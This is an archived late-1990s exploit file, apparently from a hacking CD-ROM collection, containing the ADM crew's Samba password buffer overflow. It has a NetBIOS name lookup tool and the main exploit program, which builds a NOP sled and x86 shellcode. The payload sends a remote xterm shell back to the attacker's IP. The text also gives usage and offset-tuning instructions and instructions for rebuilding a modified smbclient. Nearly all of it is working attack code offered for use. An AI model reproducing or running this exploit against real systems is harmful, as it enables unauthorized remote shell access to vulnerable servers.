home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / samba_exploit.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  10.0 KB  |  348 lines

  1.  
  2. /*
  3.                       ___      ______      _       _
  4.                     /     \   |   _   \   |  \   /  |
  5.                    |  / \  |  |  |  \  |  |   \_/   |
  6.                    | |___| |  |  |_ /  |  |   \_/   |
  7.                    |  ---  |  |       /   |  |   |  |
  8.                    '''   '''   '''''''    ''''   ''''
  9.  
  10.                     CreW Presente For Y0uR plEaSure
  11.  
  12.                     Samba remote & LocaL buffer overflow!
  13.  
  14.  found & exploited by some "blaireaux" and "mr3615phf" :)))))))))))  <joke>
  15.  
  16. recursive greetz: ADM !
  17.  
  18. a special greetz to the ppl of the "offset effort" fr4wd,fratalG,and the rest
  19. of t0xyn , and my friend [oO giemor Oo] <yes i have a sploit :)
  20. ,kod,theblade,reformed,m0sfet,kewl,oldmaster,owl,th0s
  21.  
  22. gigaacidbrutalhardcorebigextra greetz to da Beautiful: Heike <i'am in heIk3c0re>.
  23.  
  24. big up to: da movement <stay cool ! >.
  25.  
  26. codeurz greetz going to: aleph1 <the guru its ALL !> & to samba team
  27. <i love samba :) really !>
  28.  
  29. anal greetz: #banane suxxxxxxxxxxx  Hotlame & Co <kill diz lamer>
  30. ------------------------------------------------------------------------------
  31. explain of the bug: is really simple if your send a large passwd bha
  32. your make a buffer overflow hahhahaha =) iam not good for explain go fuck !=))
  33.                                 --**JOKE**--
  34.  
  35. ------------------------------------------------------------------------------
  36. patch ?? WHAT U WANNA A PATCH ??? :))))
  37. ------------------------------------------------------------------------------
  38.  
  39. [SO..] we search the shellcode of other system (SUNos , solaris, etc)
  40. and specialy SCO !
  41.  
  42. ------------------------------------------------------------------------------
  43. usage: first you must have a special smbclient for send a large large passwd
  44. how ?? tell me for the bin of get the source of samba and change in smb.h
  45. at line 248:
  46. typedef char pstring[1024];
  47. to
  48. typedef char pstring[20000];
  49. and now compile smbclient !
  50.  
  51. # make smbclient
  52.  
  53. [dont forget to edit the makefile !!]
  54. see the line 199 in makefile
  55.  
  56. -------------------------------------------------------------------------------
  57. mail 4 question, comments etc etc bla bla : admsmb@hotmail.com
  58.  
  59. -------------------------------------------------------------------------------
  60.  
  61. */
  62.  
  63. /* Note i have include a little utility pinched from ADMtoolz
  64.  for get the netbios name
  65.  
  66.   --------------------------------------------------------------------------
  67. ------------------------------[ADMnmbname.c]----------------------------------
  68.   --------------------------------------------------------------------------  */
  69.  
  70. #define DEFAULT_OFFSET 3500
  71. #define DEFAULT_BUFFER_SIZE 3081
  72. #define NOP 0x90
  73. #define NMBHDRSIZE 13
  74. #include <stdio.h>
  75. #include <stdlib.h>
  76. #include <unistd.h>
  77. #include <fcntl.h>
  78. #include <sys/types.h>
  79. #include <sys/socket.h>
  80. #include <sys/wait.h>
  81. #include <sys/ioctl.h>
  82. #include <sys/stat.h>
  83. #include <netdb.h>
  84. #include <netinet/in.h>
  85. #include <netinet/ip.h>
  86. #include <netinet/ip_icmp.h>
  87. #include <netinet/ip_tcp.h>
  88.  
  89. struct nmbhdr {
  90. unsigned short int id;
  91.  
  92. unsigned char  R:1;
  93. unsigned char  opcode:4;
  94. unsigned char  AA:1;
  95. unsigned char  TC:1;
  96. unsigned char  RD:1;
  97. unsigned char  RA:1;
  98. unsigned char  unless:2;
  99. unsigned char  B:1;
  100. unsigned char  RCODE:4;
  101.  
  102. unsigned short int que_num;
  103. unsigned short int rep_num;
  104. unsigned short int num_rr;
  105. unsigned short int num_rrsup;
  106. unsigned char namelen;
  107. };
  108.  
  109. struct typez{
  110. u_int type;
  111. u_int type2;
  112. };
  113.  
  114. unsigned int host2ip(char *serv)
  115. {
  116. struct sockaddr_in sin;
  117. struct hostent *hent;
  118.  
  119. hent=gethostbyname(serv);
  120. if(hent == NULL) return 0;
  121. bzero((char *)&sin, sizeof(sin));
  122. bcopy(hent->h_addr, (char *)&sin.sin_addr, hent->h_length);
  123. return sin.sin_addr.s_addr;
  124. }
  125.  
  126. main( int argc, char  **argv)
  127. {
  128. struct sockaddr_in  sin_me , sin_dst;
  129. struct nmbhdr *nmb,*nmb2;
  130. struct iphdr *ipz;
  131. struct typez  *typz;
  132. struct hostent *hent;
  133. int socket_client,sr,num,i=1,bha,timeout=0,try=0,GO=0;
  134. int longueur=sizeof(struct sockaddr_in);
  135. char  *data;
  136. char  *dataz;
  137. char   buffer[1024];
  138. char   buffer2[1024];
  139. char   namezz[1024];
  140. char   name[64]="CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
  141. char   c;
  142.  
  143. if(argc <2) {
  144.         printf("usage: ADMnmbname <ip of the victim>\n");
  145.         exit (0);
  146.         }
  147.  
  148. socket_client=socket(AF_INET,SOCK_DGRAM,17);
  149. sr=socket(AF_INET,SOCK_RAW,17);
  150. ioctl(sr,FIONBIO,&i);
  151.  
  152. sin_me.sin_family=AF_INET;
  153. sin_me.sin_addr.s_addr=htonl(INADDR_ANY);
  154. sin_me.sin_port=htons(2600);
  155.  
  156. sin_dst.sin_family=AF_INET;
  157. sin_dst.sin_port=htons(137);
  158. sin_dst.sin_addr.s_addr = host2ip(argv[1]);
  159.  
  160. nmb = (struct nmbhdr *)  buffer;
  161. data = (char *)(buffer+NMBHDRSIZE);
  162. typz = (struct typez *)(buffer+NMBHDRSIZE+33);
  163. nmb2 = (struct nmbhdr *)(buffer2+20+8);
  164. ipz   = (struct iphdr *)buffer2;
  165. dataz = (char *)(buffer2+50+7+20+8);
  166.  
  167. memset(buffer,0,1024);
  168. memset(buffer2,0,1024);
  169. memset(namezz,0,1024);
  170. memcpy(data,name,33);
  171.  
  172.            /* play with the netbios query format :) */
  173.  
  174. nmb->id=0x003;
  175. nmb->R=0;                  /* 0 for question 1 for response */
  176. nmb->opcode=0;             /* 0 = query */
  177. nmb->que_num=htons(1);     /* i have only 1 question :) */
  178. nmb->namelen=0x20;
  179. typz->type=0x2100;
  180. typz->type2=0x1000;
  181.  
  182. sendto(socket_client,buffer,50,0,(struct sockaddr *)&sin_dst,longueur);
  183.  
  184.   for(timeout=0;timeout<90;timeout++ )
  185.   {
  186.            usleep(100000);
  187.            buffer2[0]='0';
  188.            recvfrom(sr,buffer2,800,0,(struct sockaddr *)&sin_dst,&(int)longueur);
  189.  
  190.         if(buffer2[0]!='0')
  191.                 {
  192.  
  193.                           if(nmb2->rep_num!=0)
  194.                             {
  195.                             bha=0;
  196.  
  197.                                      for(;;)
  198.                                      {
  199.  
  200.                                         c=*(dataz+bha);
  201.                                         if(c!='\x20')
  202.                                                         {
  203.  
  204.                                                         namezz[bha]=c;
  205.                                                         bha++;
  206.                                                          }
  207.                                         if(c=='\x20')break;
  208.                                    }
  209.  
  210.                                 printf("netbios name of %s is %s\n",argv[1],namezz);
  211.                                 try =4;
  212.                                 GO = 4;
  213.  
  214.                                 break;
  215.                               }
  216.                 }
  217.  
  218.      }
  219.  
  220. memset(buffer,0,1024);
  221. memset(buffer2,0,1024);
  222.  
  223. }
  224.  
  225. /*
  226.  ---------------------------------------------------------------------------
  227. ----------------------------[ADMkillsamba.c]---------------------------------
  228.  ---------------------------------------------------------------------------
  229.  
  230.          generic buffer overflow ameliored for samba sploit
  231.  the sploit send a xterm to your machine .
  232.  hey dont forget to do a  xhost +IP-OF-VICTIM  !!!!
  233.  and put the the sploit to the same directory of  the special smbclient !
  234.  
  235.  */
  236.  
  237. /* diz default offset and buffer size Work fine on a my system Redhat 4.2  with samba server
  238.  
  239. 1.9.17alpha5 < the last version !> i have tested on other system with this deffautl buff & size
  240.  
  241. smb 1.9.16p[9-11] the default srv on redhat 4.1 4.2  but somtime you need to change the
  242.  
  243. buffer size and offset   try a buffer of ( 1050<buffer >1100) and a offset ( 1500<off >2500)
  244.  
  245. mail me at admsmb@hotmail.com if u wanna some help */
  246.  
  247. #define DEFAULT_OFFSET 3500
  248. #define DEFAULT_BUFFER_SIZE 3081
  249. #define NOP 0x90
  250. #include <stdlib.h>
  251. #include <strings.h>
  252.  
  253. unsigned char shellcode[500] =
  254.  
  255. "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
  256. "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
  257. "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
  258. "\x80\xe8\xcc\xff\xff\xff";
  259.  
  260. unsigned long get_sp(void) {
  261.    __asm__("movl %esp,%eax");
  262. }
  263.  
  264. void main(int argc, char *argv[]) {
  265.   char *buff, *ptr;
  266.   long *addr_ptr, addr;
  267.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  268.   char netbios_name[100];
  269.  
  270.   char bufferz[255];
  271.   char ipz[40];
  272.   char myipz[40];
  273.   unsigned char bla[50] = "\xfe\xe8\xb1\xff\xff\xff";
  274.   int *ret;
  275.   unsigned char cmd[50]="/usr/bin/X11/xterm\xff-display\xff";
  276.   unsigned char arg1[50];
  277.   char arg2[50]="bhahah\xff";
  278.  
  279.   int i,pid;
  280.  
  281.   bzero(netbios_name,100);
  282.   bzero(bufferz,255);
  283.   bzero(ipz,40);
  284.   bzero(ipz,40);
  285.  
  286.   if(argc <4){
  287.   printf(" usage: ADMkillsamba <ip of the victim> <netbios name> <your ip> [buff size] [offset size]\n");
  288.   printf("<ip of victim> = 11.11.11.11  ! THe numerical IP  Only ! not www.xxx.cc !\n");
  289.   printf("<netbios name> = VICTIME    for get the netbios name use ADMnmbname or ADMhack\n");
  290.   printf("<your ip> = the sploit send a xterm to your machine heh \n");
  291.   printf("option:\n");
  292.   printf("[buff size] = the size of the buffer to send default is 3081 try +1 -1 to a plage of +10 -10\n");
  293.   printf("[offset size] = the size of the offset default is 3500 try +50 -50 to a plage of 1000 -1000\n");
  294.   printf(" HaVe Fun\n");
  295.   exit(0);
  296.   }
  297.  
  298.     sprintf(arg1,"%s:0\xff-e\xff/bin/sh\xff",argv[3]);
  299.  
  300.     shellcode[4] =(unsigned char)0x32+strlen(cmd)+strlen(arg1);
  301.     bla[2] =(unsigned char) 0xc9-strlen(cmd)-strlen(arg1);
  302.  
  303.  printf("4 byte = 0x%x\n",shellcode[4]);
  304.  printf("5 byte = 0x%x\n",bla[2]);
  305.  
  306.   strcat(shellcode,cmd);
  307.   strcat(shellcode,arg1);
  308.   strcat(shellcode,bla);
  309.   strcat(shellcode,"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  310.  
  311. //  printf("%s\n",shellcode);
  312.  
  313.   strcpy(ipz,argv[1]);                   /* haha u can overflow my sploit :) */
  314.   strcpy(netbios_name,argv[2]);
  315.  
  316.   if (argc > 4) bsize  = atoi(argv[4]);
  317.   if (argc > 5) offset = atoi(argv[5]);
  318.  
  319.   if (!(buff = malloc(bsize))) {
  320.     printf("Can't allocate memory.\n");
  321.     exit(0);
  322.   }
  323.  
  324. sprintf(bufferz,"\\\\\\\\%s\\\\IPC$",netbios_name);
  325.  
  326.   addr =  0xbffffff0 - offset ;
  327.   printf("Using address: 0x%x\n", addr);
  328.  
  329.   ptr = buff;
  330.   addr_ptr = (long *) ptr;
  331.   for (i = 0; i < bsize; i+=4)
  332.     *(addr_ptr++) = addr;
  333.  
  334.   for (i = 0; i < bsize/4; i++)
  335.     buff[i] = NOP;
  336.  
  337.   ptr = buff + ((bsize/4) - (strlen(shellcode)/2));
  338.   for (i = 0; i < strlen(shellcode); i++)
  339.     *(ptr++) = shellcode[i];
  340.  
  341.   buff[bsize - 1] = '\0';
  342.  
  343.   execl("./smbclient","smbclient",bufferz,buff,"-I",ipz,NULL);
  344.  
  345.  }
  346.  
  347. ------------------------------------------[END]-------------------------------------------------
  348.